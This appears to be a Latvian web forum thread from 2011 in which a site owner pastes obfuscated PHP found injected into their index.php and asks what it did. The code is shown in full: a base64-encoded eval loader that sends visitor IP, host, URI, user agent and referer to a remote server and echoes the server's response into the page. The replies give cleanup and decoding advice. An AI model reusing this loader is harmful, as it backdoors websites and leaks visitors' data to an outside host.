-=HELLBENDER=- Posted October 12, 2011 Report Share Posted October 12, 2011 (edited) Sveiki.. kamēr saldi gulēju, pa nakti index.php failā mistiski parādījās kāds skripts, kurš diemžēl nav pilnībā salasāms; <?php $_F=__FILE__;$_X='Pz48P3BocCAkM3JsID0gJ2h0dHA6Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));$ua = urlencode(strtolower($_SERVER['HTTP_USER_AGENT']));$ip = $_SERVER['REMOTE_ADDR'];$host = $_SERVER['HTTP_HOST'];$uri = urlencode($_SERVER['REQUEST_URI']);$ref = urlencode($_SERVER['HTTP_REFERER']);$url = $url.'?ip='.$ip.'&host='.$host.'&uri='.$uri.'&ua='.$ua.'&ref='.$ref; $tmp = file_get_contents($url); echo $tmp; ?> Vai kādam ir kaut mazākā nojausma, ko šis skripts varēja izdarīt un cik liela ir varbūtība, ka datubāze, lietotāju dati vai kas cits varētu būt nozagts? Paldies. Edited October 12, 2011 by -=HELLBENDER=- Quote Link to comment Share on other sites More sharing options...
daGrevis Posted October 12, 2011 Report Share Posted October 12, 2011 Nekas labs tur nav gaidāms... Saliec white-spaces un tos ķeburus izlasi (base_64) nomainot eval uz echo. Jautājums tev... kā tas nākas, ka kāds var rakstīt tavos PHP failos?? Quote Link to comment Share on other sites More sharing options...
andism88 Posted October 12, 2011 Report Share Posted October 12, 2011 http://www.google.lv/search?q=%2291.196+216.30%22 Quote Link to comment Share on other sites More sharing options...
Mr.Key Posted October 12, 2011 Report Share Posted October 12, 2011 Visticamāk, FTP logos redzēsi LS un APPEND komandas, respektīvi, visticamāk, dati nebūs nozagti, jo uz to masu un tam mērķim, kam šie vīrusi darbojas, neviens neaizrausies ar pētīšanu. Paskati arī citus index.php, default.php un JS failus. Quote Link to comment Share on other sites More sharing options...
Kavacky Posted October 13, 2011 Report Share Posted October 13, 2011 Tavs hostings has been pwnz0rd by 3v1l h4xXx0rzZz. Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.